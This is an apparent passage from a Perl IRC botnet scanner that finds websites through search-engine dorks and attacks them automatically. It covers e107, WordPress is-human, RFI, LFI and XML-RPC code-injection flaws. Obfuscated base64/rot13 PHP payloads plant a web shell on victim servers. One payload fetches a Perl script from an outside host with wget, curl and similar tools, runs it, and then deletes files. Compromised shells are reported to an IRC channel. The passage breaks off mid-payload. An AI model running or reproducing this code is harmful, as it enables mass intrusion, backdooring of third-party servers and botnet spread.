| 892 | my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdGlvbiBleCgkY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ=="; | |
| 893 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 894 | my $html = &e107_rce_query($test,$code); | |
| 895 | if ($html =~ /v0pCr3w<br>sys:(.+?)<br>nob0dyCr3w/) {
| |
| 896 | my $sys = $1; | |
| 897 | my $upload = ""; | |
| 898 | my $res = &e107_rce_query($test); | |
| 899 | if ($res =~ /lobexxx/) {
| |
| 900 | my $check = &get_content($shellz); | |
| 901 | if ($check =~ /GIF89a/) {
| |
| 902 | &msg("$chan","$e107logo15$engine 9<4=9>9 SheLL 9<4=9>9 $shellz ");sleep(2);
| |
| 903 | } | |
| 904 | } else { &msg("$chan","$e107logo15$engine 9<4=9>15 System 9<4=9>9 $test 15($sys) ");sleep(2); }
| |
| 905 | } | |
| 906 | } exit; } | |
| 907 | } | |
| 908 | } | |
| 909 | } | |
| 910 | ||
| 911 | sub e107_rce_query() {
| |
| 912 | my $url = $_[0]; | |
| 913 | my $code = encode_base64('echo "lobexxx";')."JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVNNEVQNThWZndINCtzcXFSWkZPT2trRGhwcFRBaFVhQWZsbXZhK0FJcmN4SHE5SkdseE8yZDdpUDkrY0R2cHk3TExaTkpKVDFwMG5uUmVIbzhuWnorVXMyVjdXRVNsbU9DSjBsRjN2MzI4dlZLbEZES1J0QlJGTXo3MTk0MlJXcEMvdzVTaTJtSWxaQlRIdmY3MXJUY21uOG1EYXQ5aC8vUzB2ZFZ0Y1lycFIwZGNveER0QTZrMXAzQnJOSVRCMzlIZ0ZsOE9oemZKY2o4ZTRudmpjL3p6aG5zUS9UV0s0bTR5R3ZRY1lDeXlCU0F3eVFoTkVENVN3S0NwVTJyY2hEWjhlV0NLV1hXeG4wU0FmbkdjSlVhbzBqUEdwQkFaOVpiMUw0RjY5TlJGTkswazB3c0lINTllVWNsSS96eUNBUDJMQzN6OERDcmtpcjZDdWdhUVdscHlWbklJR1hSUDZmR0NrNEw2eTQ0ODk1MmNucDhQUUthNmRQcWdoWVFnM3lNTm9xditNRTBqRllUbFBoNExOYWFLeU44T1AwR05KVlZTZ1dvUnRpcmhYWHhXRk12UkoyWWtoS09aMXVWRXA5UG9CSW8xcmR6eDNnMktxWHlrcG9pNmd6dU93TnF6OGdvSjVxWkJlYXQrWk9UMUNhK0ViWUZyLzk0cXhDWitNemEvVk1OYkw4MEZwM054ek1Rb1JNbVVycytBRjU4TmJUZkQ1S0wzZEdkOWJSVnNhUTR5cWpSUTRRcG8zajhiWFZMWHczSFE3dys5K3dCcTV1VWU0M1plQWRROEswbVVPUTFneE0yRVZlb2thZmxwa1F2WWFRMzh3UEU1YmRQNEhMbnhBVU02RXdocU5kTTVQUm54UDdpWVpyU0hiMXM3aW5RMHo3c2Q1KzJPcGYwejNkUzBpWUNMcHRnL05Qd0ZwU0tIUnZ2NTBINEFhNEtEY3U0QWFqdmpKYmtGeHFTQ1VBK3hqd04xTlFFRDZLT3QwV0lIdVAzV0hDTWdRRE1WeTA4YnFVdkFJMUZMcGdnd21xNmMwNitkNjNLOUtaODVVVldJemJFbWxUM1M5bk9ZVnNWR0Rlc01sV1pWaHN5TXBmUE0zYlhVbU54UnRxcERkaWxZb1h6ajMvVTZuaDFWNjlveHZweGw2M2Z2SFJpSHBMcVNIQmxZQU9EbWhKL1c3R25hZVB1M1JkemQvWjhjZ1A1K2tqcVJrY3dEeVhHQkNyTlhRT2ticzFzUnNScUVHSis4THVpWktBckNzMVBBTHVOeXBaRmVsRFRFbW43UkdCbU5VSndXR2Q3MHh0VzRZQ3UvaTRQUkk4a3IrL3NCOEIxRzJZbHF2RXdwaFFPeUlZb3ExNnlFbDQ3RjdYSlJrNmJ5cGgzVHpYKzBNQ3BtVGpKbndXVjMyK2dZOUl0aGN5ekxLSytyU0s3MkRjQUUrTFhiektiNWlldWNoeTdhcTBoYzA3bHlINkgxSXRiaUd6VWQrK0RYT2crblp2T0FSSm9UcFU5YU5naXV5TnFIeDIycHJYaHJVTjYxRlhnVXUvVWN1VXl5bFhKeHpIbjdaV2dIYVUyMmpvWkdsd09rSit1d1dObDU0ZmpXZUNUeDdnRjBUbWtPQy9GVkV4ZWRjNGtCK04razZLSlpIQTAyNzdLYXdLYXBpL2tob1ZtM1lZODBSZ0ZpVnBxWnZmQ00zRTlURy82NFYwYjQ5d2QyTUFWZmg0UGxhR2VPOERGdHRyZnRoY2oxMERjcXd4MnhrdFhPSXJOaUxtQTFLeW1oWDVqU0N0NHNDNlYyNGEyVjJ5MGxYZCtDYzAySXBNUmFpb2tNRTZmQ2cvMzlhbFdLdVd4dGRQRXVsR0tTdDByMFFjTmZqOWwyWmJocFBwejhDdz09IikpKTsKJGZpY2hpZXIgPSBmb3BlbignLi9pbWFnZXMvbG9iZXgucGhwJywndycpOwpmd3JpdGUoJGZpY2hpZXIsICRjKTsKZmNsb3NlKCRmaWNoaWVyKTs=";
| |
| 914 | my $req = HTTP::Request->new(POST => $url); | |
| 915 | $req->content_type('application/x-www-form-urlencoded');
| |
| 916 | $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
| |
| 917 | my $ua = LWP::UserAgent->new(agent => $uagent); | |
| 918 | $ua->timeout(7); | |
| 919 | my $res = $ua->request($req); | |
| 920 | return $res->content; | |
| 921 | } | |
| 922 | ||
| 923 | sub e107_spread_query() {
| |
| 924 | my $url = $_[0]; | |
| 925 | my $code = "ZWNobyAidjBwQ3Izdzxicj4iOwplY2hvICJzeXM6Ii5waHBfdW5hbWUoKS4iPGJyPiI7CiRjbWQ9ImVjaG8gbm9iMGR5Q3IzdztjZCAvdG1wO3JtIC1yZiBkb3IuKiAqLnR4dC4qO2ZldGNoIGh0dHA6Ly9rZGxnLm9yZy9jYWNoZS8uc2V0L2VjLnR4dDtwZXJsIGVjLnR4dDtybSAtcmYgZWMudHh0O3dnZXQgaHR0cDovL2tkbGcub3JnL2NhY2hlLy5zZXQvZWMudHh0O3BlcmwgZWMudHh0O3JtIC1yZiBlYy50eHQ7Y3VybCAtTyBodHRwOi8va2RsZy5vcmcvY2FjaGUvLnNldC9lYy50eHQ7cGVybCBlYy50eHQ7cm0gLXJmIGVjLnR4dDtsd3AtZG93bmxvYWQgaHR0cDovL2tkbGcub3JnL2NhY2hlLy5zZXQvZWMudHh0O3BlcmwgZWMudHh0O2NkIC92YXIvdG1wO3JtIC1yZiBkb3IuKiAqLmpwZy4qO2ZldGNoIGh0dHA6Ly9rZGxnLm9yZy9jYWNoZS8uc2V0L2VjLnR4dDtwZXJsIGVjLnR4dDtybSAtcmYgZWMudHh0O3dnZXQgaHR0cDovL2tkbGcub3JnL2NhY2hlLy5zZXQvZWMudHh0O3BlcmwgZWMudHh0O3JtIC1yZiBlYy50eHQ7Y3VybCAtTyBodHRwOi8va2RsZy5vcmcvY2FjaGUvLnNldC9lYy50eHQ7cGVybCBlYy50eHQ7cm0gLXJmIGVjLnR4dDtsd3AtZG93bmxvYWQgaHR0cDovL2tkbGcub3JnL2NhY2hlLy5zZXQvZWMudHh0O3BlcmwgZWMudHh0OyI7CiRlc2VndWljbWQ9ZXgoJGNtZCk7ZWNobyAkZXNlZ3VpY21kOwpmdW5jdGlvbiBleCgkY2ZlKXsKJHJlcyA9ICcnOwppZiAoIWVtcHR5KCRjZmUpKXsKaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpewpAZXhlYygkY2ZlLCRyZXMpOwokcmVzID0gam9pbigiXG4iLCRyZXMpOwp9CmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7CiRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsKfQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSl7CkBvYl9zdGFydCgpOwpAc3lzdGVtKCRjZmUpOwokcmVzID0gQG9iX2dldF9jb250ZW50cygpOwpAb2JfZW5kX2NsZWFuKCk7Cn0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7CkBvYl9zdGFydCgpOwpAcGFzc3RocnUoJGNmZSk7CiRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CkBvYl9lbmRfY2xlYW4oKTsKfQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKXsKJGYgPSBAcG9wZW4oJGNmZSwiciIpOwp3aGlsZSghQGZlb2YoJGNmZSkpIHsgJHJlcyAuPSBAZnJlYWQoJGNmZSwxMDI0KTsgfQpAcGNsb3NlKCRmKTsKfX0KcmV0dXJuICRyZXM7Cn0="; | |
| 926 | my $req = HTTP::Request->new(POST => $url); | |
| 927 | $req->content_type('application/x-www-form-urlencoded');
| |
| 928 | $req->content("send-contactus=1&author_name=%5Bphp%5Deval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
| |
| 929 | my $ua = LWP::UserAgent->new(agent => $uagent); | |
| 930 | $ua->timeout(7); | |
| 931 | my $res = $ua->request($req); | |
| 932 | } | |
| 933 | ||
| 934 | sub ih_exploit() {
| |
| 935 | my $chan = $_[0]; | |
| 936 | my $bug = $_[1]; | |
| 937 | my $simpan = $_[2]; | |
| 938 | my $dork = $_[3]; | |
| 939 | my $engine = $_[4]; | |
| 940 | my $count = 0; | |
| 941 | my @totexploit = &search_engine($chan,$bug,$dork,$engine,$ihlogo); | |
| 942 | my $num = scalar(@totexploit); | |
| 943 | if ($num > 0){
| |
| 944 | foreach my $site(@totexploit){
| |
| 945 | $count++; | |
| 946 | if ($count == $num-1) { &msg("$chan","$ihlogo15$engine 9Finished 15for 9$dork "); }
| |
| 947 | my $ihxxx = "JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVNNEVQNThWZndINCtzcXFSWkZPT2trRGhwcFRBaFVhQWZsbXZhK0FJcmN4SHE5SkdseE8yZDdpUDkrY0R2cHk3TExaTkpKVDFwMG5uUmVIbzhuWnorVXMyVjdXRVNsbU9DSjBsRjN2MzI4dlZLbEZES1J0QlJGTXo3MTk0MlJXcEMvdzVTaTJtSWxaQlRIdmY3MXJUY21uOG1EYXQ5aC8vUzB2ZFZ0Y1lycFIwZGNveER0QTZrMXAzQnJOSVRCMzlIZ0ZsOE9oemZKY2o4ZTRudmpjL3p6aG5zUS9UV0s0bTR5R3ZRY1lDeXlCU0F3eVFoTkVENVN3S0NwVTJyY2hEWjhlV0NLV1hXeG4wU0FmbkdjSlVhbzBqUEdwQkFaOVpiMUw0RjY5TlJGTkswazB3c0lINTllVWNsSS96eUNBUDJMQzN6OERDcmtpcjZDdWdhUVdscHlWbklJR1hSUDZmR0NrNEw2eTQ0ODk1MmNucDhQUUthNmRQcWdoWVFnM3lNTm9xditNRTBqRllUbFBoNExOYWFLeU44T1AwR05KVlZTZ1dvUnRpcmhYWHhXRk12UkoyWWtoS09aMXVWRXA5UG9CSW8xcmR6eDNnMktxWHlrcG9pNmd6dU93TnF6OGdvSjVxWkJlYXQrWk9UMUNhK0ViWUZyLzk0cXhDWitNemEvVk1OYkw4MEZwM054ek1Rb1JNbVVycytBRjU4TmJUZkQ1S0wzZEdkOWJSVnNhUTR5cWpSUTRRcG8zajhiWFZMWHczSFE3dys5K3dCcTV1VWU0M1plQWRROEswbVVPUTFneE0yRVZlb2thZmxwa1F2WWFRMzh3UEU1YmRQNEhMbnhBVU02RXdocU5kTTVQUm54UDdpWVpyU0hiMXM3aW5RMHo3c2Q1KzJPcGYwejNkUzBpWUNMcHRnL05Qd0ZwU0tIUnZ2NTBINEFhNEtEY3U0QWFqdmpKYmtGeHFTQ1VBK3hqd04xTlFFRDZLT3QwV0lIdVAzV0hDTWdRRE1WeTA4YnFVdkFJMUZMcGdnd21xNmMwNitkNjNLOUtaODVVVldJemJFbWxUM1M5bk9ZVnNWR0Rlc01sV1pWaHN5TXBmUE0zYlhVbU54UnRxcERkaWxZb1h6ajMvVTZuaDFWNjlveHZweGw2M2Z2SFJpSHBMcVNIQmxZQU9EbWhKL1c3R25hZVB1M1JkemQvWjhjZ1A1K2tqcVJrY3dEeVhHQkNyTlhRT2ticzFzUnNScUVHSis4THVpWktBckNzMVBBTHVOeXBaRmVsRFRFbW43UkdCbU5VSndXR2Q3MHh0VzRZQ3UvaTRQUkk4a3IrL3NCOEIxRzJZbHF2RXdwaFFPeUlZb3ExNnlFbDQ3RjdYSlJrNmJ5cGgzVHpYKzBNQ3BtVGpKbndXVjMyK2dZOUl0aGN5ekxLSytyU0s3MkRjQUUrTFhiektiNWlldWNoeTdhcTBoYzA3bHlINkgxSXRiaUd6VWQrK0RYT2crblp2T0FSSm9UcFU5YU5naXV5TnFIeDIycHJYaHJVTjYxRlhnVXUvVWN1VXl5bFhKeHpIbjdaV2dIYVUyMmpvWkdsd09rSit1d1dObDU0ZmpXZUNUeDdnRjBUbWtPQy9GVkV4ZWRjNGtCK04razZLSlpIQTAyNzdLYXdLYXBpL2tob1ZtM1lZODBSZ0ZpVnBxWnZmQ00zRTlURy82NFYwYjQ5d2QyTUFWZmg0UGxhR2VPOERGdHRyZnRoY2oxMERjcXd4MnhrdFhPSXJOaUxtQTFLeW1oWDVqU0N0NHNDNlYyNGEyVjJ5MGxYZCtDYzAySXBNUmFpb2tNRTZmQ2cvMzlhbFdLdVd4dGRQRXVsR0tTdDByMFFjTmZqOWwyWmJocFBwejhDdz09IikpKTsKJGZpY2hpZXIgPSBmb3BlbignLi9sb2JleC5waHAnLCd3Jyk7CmZ3cml0ZSgkZmljaGllciwgJGMpOwpmY2xvc2UoJGZpY2hpZXIpOw=="; | |
| 948 | my $ihcek = "JHM9cGhwX3VuYW1lKCk7CmVjaG8gJzxicj4nLiRzOwoKZWNobyAnPGJyPic7CnBhc3N0aHJ1KGlkKTsK"; | |
| 949 | my $vuln = "http://".$site.$bug."?action=log-reset&type=ih_options();eval(base64_decode(".$ihxxx."));error";
| |
| 950 | my $cekih = "http://".$site.$bug."?action=log-reset&type=ih_options();eval(base64_decode(".$ihcek."));error";
| |
| 951 | my $shell = "http://".$site."wp-content/plugins/is-human/lobex.php"; | |
| 952 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 953 | my $coba = &get_content($cekih);sleep(1); | |
| 954 | if ($coba =~ /Array<br>(.*?)<br>(.*?)gid=/){ my $uname = $1; my $uid = $2; &get_content($vuln);sleep(1);
| |
| 955 | &msg("$chan","$ihlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
| |
| 956 | my $res = &get_content($shell);sleep(1); | |
| 957 | if ($res =~ /UnKnown - Simple Shell/){
| |
| 958 | &msg("$chan","$ihlogo15$engine 9<4=9>9 SheLL 9<4=9>9 $shell ");
| |
| 959 | } else { &msg("$chan","$ihlogo15$engine 9<4=9>9 Vuln 9<4=9>9 $site 9<4=9> Os=$uname $uid");
| |
| 960 | } | |
| 961 | } | |
| 962 | } exit; | |
| 963 | } | |
| 964 | } | |
| 965 | } | |
| 966 | } | |
| 967 | sub rfi_exploit() {
| |
| 968 | my $chan = $_[0]; | |
| 969 | my $bug = $_[1]; | |
| 970 | my $simpan = $_[2]; | |
| 971 | my $dork = $_[3]; | |
| 972 | my $engine = $_[4]; | |
| 973 | my $count = 0; | |
| 974 | my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rfilogo); | |
| 975 | my $num = scalar(@totexploit); | |
| 976 | if ($num > 0){
| |
| 977 | foreach my $site(@totexploit){
| |
| 978 | $count++; | |
| 979 | if ($count == $num-1) { &msg("$chan","$rfilogo15$engine 9Finished 15for 9$dork "); }
| |
| 980 | my $coba = "http://".$site.$bug."test??"; | |
| 981 | my $test = "http://".$site.$bug.$injector."??"; | |
| 982 | my $dor = "http://".$site.$bug.$botshell."??"; | |
| 983 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 984 | my $cek = &get_content($coba);sleep(1); | |
| 985 | &get_content($dor);sleep(1); | |
| 986 | if ($cek =~ /failed to open stream/) {
| |
| 987 | my $check = &get_content($test);sleep(1); | |
| 988 | if ($check =~ /STUNSHELL/i) {
| |
| 989 | &os2($test,$chan,$engine,$rfilogo); | |
| 990 | } | |
| 991 | } | |
| 992 | } exit; | |
| 993 | } | |
| 994 | } | |
| 995 | } | |
| 996 | } | |
| 997 | ||
| 998 | sub lfi_exploit() {
| |
| 999 | my $chan = $_[0]; | |
| 1000 | my $bug = $_[1]; | |
| 1001 | my $simpan = $_[2]; | |
| 1002 | my $dork = $_[3]; | |
| 1003 | my $engine = $_[4]; | |
| 1004 | my $count = 0; | |
| 1005 | my @totexploit = &search_engine($chan,$bug,$dork,$engine,$lfilogo); | |
| 1006 | my $num = scalar(@totexploit); | |
| 1007 | if ($num > 0){
| |
| 1008 | foreach my $site(@totexploit){
| |
| 1009 | $count++; | |
| 1010 | if ($count == $num-1) { &msg("$chan","$lfilogo15$engine 9Finished 15for 9$dork "); }
| |
| 1011 | my $dir = "../../../../../../../../../../../../../../../../../../../../../../../../"; | |
| 1012 | my $test = "http://".$site.$bug.$dir."/proc/self/environ%0000"; | |
| 1013 | my $shell = "http://".$site.$bug.$dir."/tmp/lobex%0000"; | |
| 1014 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 1015 | my $html = &get_content($test); | |
| 1016 | if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT/) {
| |
| 1017 | my $res = lfi_env_query($test); | |
| 1018 | # &lfi_spread_query($test); | |
| 1019 | if ($res =~ /c0li#(.*?)#c0li(.*?)SUCCESS/) {
| |
| 1020 | my $os = $1; | |
| 1021 | my $uid = $2; | |
| 1022 | my $lficheck = &get_content($shell); | |
| 1023 | if ($lficheck =~ /UnKnown - Simple Shell/){
| |
| 1024 | &msg("$chan","$lfilogo15$engine 9<4=9>9 SheLL 9<4=9>9 $shell 15(OS=$os) $uid ");
| |
| 1025 | } else {
| |
| 1026 | &msg("$chan","$lfilogo15$engine 9<4=9>9 Vuln 9<4=9>9 $site 15(OS=$os) $uid ");
| |
| 1027 | } | |
| 1028 | } | |
| 1029 | } | |
| 1030 | } exit; } | |
| 1031 | } | |
| 1032 | } | |
| 1033 | } | |
| 1034 | sub lfi_env_query() {
| |
| 1035 | my $url = $_[0]; | |
| 1036 | my $code = 'JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWxkUXVOVEZIMHVFdjl1bUZPeW93V0hla2lKVDV4ZEZsbUpUUWlOazc0QXNoeDdrc3h2ajYyWk1ka1U4ZDk3NzR3ZGtuS2h0TnE4eExuMzNLOHpkSzdUL1VQT3krMHR4WlRpaFlpVWpxVnAyMVRiVzFuS1QxT1NsWVhVWE16Y2ZUVHlLV1JxdUVWWnU2MG9ETUt3UDdpOGFTYng1L2pPdVhxM2YydlkzbmZkWnNWb1JVZFBFNS9zVUVONHdTYndpQUhEdjRMaE5UMGZqYTZpODA0NG9yZm81dUx6aG5zWS9Ea093a1EwSHZZdFlFV2tXRURRT0kzSk1oWXpBaEVzMGVSVFlIZU1wd2hHOFpUbCt5a0Q2RlF1YXpTRExoMDBVMnlSTW5UVi93cllKZzh0eFpKWFpiMkU5T0h4VEJCZERFRURWVEE0TzZOVWo4QlBwdGdycUZnQW1kSlpsbG42UTJSZUtEMU1pamgwN25jaXgzNVV4NmVuVUtDcG5wbmQ2VTlQa3BlQ2hzSEZZQlNzQmVVeHoxdzZLZFNFcVV2K2JmQmtoaFl2S1dXNldLaHVpZTdTODB2eGpIekNJNGtGbVhoZEhtazZEVUxBU3pQS2plaGZrWkRKZTRaYTFCUGNDQUxXdnFHM2tHQmgrcVNtNjNSVVhwL3dFMFRQRU8vZUdZYjQxSHB4ODFzd3VtbVNyQkFNSllPS1JGSWxFN2F1QVNjOEdmYXZVOUZNLzQvZzh2Z2lZNHdPUmFZMEovNFQ2bWRqTXI0SUxsVFJZekFZT2JjZTdTektQUzZTckFJb1BpdWVseG56UU9Lb0VNa3N4YmJlTHJFSjIybUE3eWlmd3pmSjU5REtCMERKdkNDMHE3bk9TMklzZmhmRlQ1QTlFcHJlVmpoMFROYnRTeTlCUk1PbkJWd3d4Zjl6L2tJa0tUSTRyUjhQektmWG5mU290NnJwMFdGMEFqWjJnbHRnakNvNGVaKzYxSU1SSXpBQUw5b1kzYlpVMjJLdE1ZWUFHS0xpcVdJeTVWaHJoQXlyRWg0bHN5Zm43SGpuYlZ0aXFvZUhCd1VwSG5SSG1hTjVZcWFaU1NMUnNNWlZ1WUJ2QkxXVkxFVjd4eEkwVENXMktsOTJLY3RQdWVqZmFEcU9FYUprN2FBdmNNSzQybnZ2MFNHWnJxUWdkZkVBM0p6c3c1cmRxTHkyZjZ2RXpjMS9xUUhvbDR2VWhaQXlCeWlUT2Nsa2hRRFRTcmhHVm5rNDhDbnR2VUhvVnBIbnNWVWJBcnRjbEpVbWJVd3luM2YyVWthQ0hQczB5VWE2NlEyclZzNmYvRFlQSmZka1NabmZhb0R2WUhROTUzV3pSZ1lIY1VYa1NLWnNDUzhiZzl0WWNCMDNuVGZqNERUL01zSzR6SW80SlhROGNIT01EcUtmV2pQbmRzcFIzYTJ5dldJQXBoQmZ1MFNiK0pQV05ROTV0a3E3dUhFTEUzMVYxcHRMeTQ5NTJ1ajN2OVJvQkZ2Z0F5VldGaXZsNjJzandEWk0rK2hScjdpMUEyTFF1N1pOa2JGNHh3WTN5N1V5RVNuSExWOCszWUdkbHVtamlhbmJnYUFINHpETEdMZGlhKzAwbERpM2dETWdvOE84dUhTUnpjN1NDQUh1TjFCblhsTTJERGJ1cWh2UGxLbWIrUzZwWTAyN1ZCcEl3TnVScGJnWEhvbGR4SEhESDBsV0FuOTdpQWFUOTJnNlMxNkhwNFFla1ZSbTI1NlJYSXUrYmhudWlLR3NhZWFwYkhEVmVLMlVlVjFPUHpjSzJqY2ZTOVlLYW56RXZyREV4Vmx6cTB3UmFEQ1dycjl2eWY5VjZuR0s3SEt4ODAvaUQ3MS9BQT09IikpKTsKJGZpY2hpZXIgPSBmb3BlbignL3RtcC9sb2JleCcsJ3cnKTsKZndyaXRlKCRmaWNoaWVyLCAkYyk7CmZjbG9zZSgkZmljaGllcik7'; | |
| 1037 | my $ua = LWP::UserAgent->new(agent => "<?echo 'c0li#'.php_uname().'#c0li'.get_current_user();eval(base64_decode('".$code."'));echo 'SUCCESS';?>");
| |
| 1038 | $ua->timeout(7); | |
| 1039 | my $req = HTTP::Request->new(GET => $url); | |
| 1040 | my $res = $ua->request($req); | |
| 1041 | return $res->content; | |
| 1042 | } | |
| 1043 | ||
| 1044 | sub xml_exploit() {
| |
| 1045 | my $chan = $_[0]; | |
| 1046 | my $bug = $_[1]; | |
| 1047 | my $simpan = $_[2]; | |
| 1048 | my $dork = $_[3]; | |
| 1049 | my $engine = $_[4]; | |
| 1050 | my $count = 0; | |
| 1051 | my @totexploit = &search_engine($chan,$bug,$dork,$engine,$xmllogo); | |
| 1052 | my $num = scalar(@totexploit); | |
| 1053 | if ($num > 0){
| |
| 1054 | foreach my $site(@totexploit){
| |
| 1055 | $count++; | |
| 1056 | if ($count == $num-1) { &msg("$chan","$xmllogo15$engine 9Finished 15for 9$dork "); }
| |
| 1057 | my $test = "http://".$site.$bug; | |
| 1058 | my $vuln = "http://".$site."12".$bug; | |
| 1059 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 1060 | my $html = &get_content($test); | |
| 1061 | if ($html =~ /faultcode/i ) {
| |
| 1062 | my $resp = &xml_cek_query2($test); | |
| 1063 | if ($resp =~ /Byroe(.*)Lobex/s) {
| |
| 1064 | # &xml_spread_query($test);sleep(1); | |
| 1065 | my $sys = $1; | |
| 1066 | my $shell = "http://".$site."/lobex.php"; | |
| 1067 | my $check = &get_content($shell); | |
| 1068 | if ($check =~ /UnKnown - Simple Shell/) {
| |
| 1069 | my $safe = ""; my $os = ""; my $uid = ""; | |
| 1070 | if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
| |
| 1071 | if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
| |
| 1072 | if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
| |
| 1073 | &msg("$chan","$xmllogo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
| |
| 1074 | &msg("$admin","$xmllogo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
| |
| 1075 | } | |
| 1076 | # else {
| |
| 1077 | # &msg("$chan","0,1$xmllogo(4@8$engine15)15(13@12SysTem15)10 ".$vuln." 3".$sys); sleep(1);}
| |
| 1078 | } | |
| 1079 | } | |
| 1080 | } exit; | |
| 1081 | } | |
| 1082 | } | |
| 1083 | } | |
| 1084 | } | |
| 1085 | ||
| 1086 | sub xml_cek_query() {
| |
| 1087 | my $url = $_[0]; | |
| 1088 | my $code = "system('uname -a');";
| |
| 1089 | my $ua = LWP::UserAgent->new(agent => 'perl post'); | |
| 1090 | $exploit = "<?xml version=\"1.0\"?><methodCall>"; | |
| 1091 | $exploit .= "<methodName>test.method</methodName>"; | |
| 1092 | $exploit .= "<params><param><value><name>',''));"; | |
| 1093 | $exploit .= "echo'j13mb0t';".$code."echo'j13mb0t';exit;/*</name></value></param></params></methodCall>"; | |
| 1094 | $ua->timeout(7); | |
| 1095 | my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit); | |
| 1096 | return $res->content; | |
| 1097 | } | |
| 1098 | ||
| 1099 | sub xml_cek_query2() {
| |
| 1100 | my $url = $_[0]; | |
| 1101 | my $string = "JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVNNEVQNThWZndINCtzcXFSWkZPT2trRGhwcFRBaFVhQWZsbXZhK0FJcmN4SHE5SkdseE8yZDdpUDkrY0R2cHk3TExaTkpKVDFwMG5uUmVIbzhuWnorVXMyVjdXRVNsbU9DSjBsRjN2MzI4dlZLbEZES1J0QlJGTXo3MTk0MlJXcEMvdzVTaTJtSWxaQlRIdmY3MXJUY21uOG1EYXQ5aC8vUzB2ZFZ0Y1lycFIwZGNveER0QTZrMXAzQnJOSVRCMzlIZ0ZsOE9oemZKY2o4ZTRudmpjL3p6aG5zUS9UV0s0bTR5R3ZRY1lDeXlCU0F3eVFoTkVENVN3S0NwVTJyY2hEWjhlV0NLV1hXeG4wU0FmbkdjSlVhbzBqUEdwQkFaOVpiMUw0RjY5TlJGTkswazB3c0lINTllVWNsSS96eUNBUDJMQzN6OERDcmtpcjZDdWdhUVdscHlWbklJR1hSUDZmR0NrNEw2eTQ0ODk1MmNucDhQUUthNmRQcWdoWVFnM3lNTm9xditNRTBqRllUbFBoNExOYWFLeU44T1AwR05KVlZTZ1dvUnRpcmhYWHhXRk12UkoyWWtoS09aMXVWRXA5UG9CSW8xcmR6eDNnMktxWHlrcG9pNmd6dU93TnF6OGdvSjVxWkJlYXQrWk9UMUNhK0ViWUZyLzk0cXhDWitNemEvVk1OYkw4MEZwM054ek1Rb1JNbVVycytBRjU4TmJUZkQ1S0wzZEdkOWJSVnNhUTR5cWpSUTRRcG8zajhiWFZMWHczSFE3dys5K3dCcTV1VWU0M1plQWRROEswbVVPUTFneE0yRVZlb2thZmxwa1F2WWFRMzh3UEU1YmRQNEhMbnhBVU02RXdocU5kTTVQUm54UDdpWVpyU0hiMXM3aW5RMHo3c2Q1KzJPcGYwejNkUzBpWUNMcHRnL05Qd0ZwU0tIUnZ2NTBINEFhNEtEY3U0QWFqdmpKYmtGeHFTQ1VBK3hqd04xTlFFRDZLT3QwV0lIdVAzV0hDTWdRRE1We